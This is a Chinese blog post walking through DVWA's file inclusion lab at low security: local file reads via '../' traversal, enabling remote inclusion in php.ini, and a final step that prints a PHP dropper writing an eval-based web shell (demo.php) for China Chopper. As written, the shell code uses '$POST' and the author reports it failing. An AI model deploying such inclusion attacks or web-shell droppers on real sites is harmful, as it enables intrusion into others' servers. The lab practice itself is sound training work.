首先先将DVWA的等级调为LOW
1、包含系统文件
点击以下红框框的部分“file inclusion”
可以看到页面如下
先点击“file1.php” 看一下,发现URL中变成了file1.php
点击后面的file2.php也是同样的效果。所以我们尝试包含其他的文件,看看可以不可以成功。
我们将URL中改为一个文件,看到图中已有文件内容的显示。
验证一下,内容是否显示正确。找到输入的路径中的文件,发现文件内容与页面上的输出一致,则文件已包含。
2、包含上传文件
首先先说一下../的意思,../的意思就是返回上一级。
所以以下图片中有三个../就返回到了localhost中去找phpinfo.php的文件。
我这里用的是phpstudy所以他的根目录就是WWW文件夹,在这个文件夹中可以找到phpinfo.php这个文件。(如果在WWW文件夹下没有phpinfo.php文件就自己写一个)
phpinfo.php中内容如下:
包含文件的内容只要符合PHP语法都能被当作php代码进行解析,无关后缀名是什么。
3、包含远程文件
要先在php.ini中设置allow_url_fopen=On(默认)、allow_url_include=On(php5.2之后的版本都默认为off)。
作者的DVWA中显示的是allow_url_include=off状态
我们在phpstudy中找到php.ini文件中进行修改。
如何能找到php.ini文件在作者的这篇博客(DVWA和sql注入天书中不报错问题的解决)中可以找到!
之后要重启一下Apache和mysql。上面那行红框就没有啦!
因为没有两台机器也没有开虚拟机,所以网址中就用IP地址展示下。刚刚WWW文件下有phpinfo.php,所以还用这个展示。
发现可以执行。
4、包含远程shell
这回还是用本地IP展示蛤,为了区分,就用的IP地址。
先在WWW文件夹中创建一个TXT文档,随便啥名字都可以,只要与其中所写的代码对应就行。这里我用的是shell.txt
代码为:
<?php
$payload="<?php eval(\$POST['a']);?>";
$myfile = fopen('demo.php','w') or die ("can't open the file!");
fwrite($myfile,$payload);
fclose($myfile);
?>
输入到URL时,页面不会有任何报错的现象
不知道出现了什么问题····www·····也显示了demo.php状态是200,可是用菜刀连不上去。有路过的大佬可以为小弟指点迷津!
如果连上菜刀的话,那么这个就成功啦!就可以看到你连的那台电脑的所有文件分布。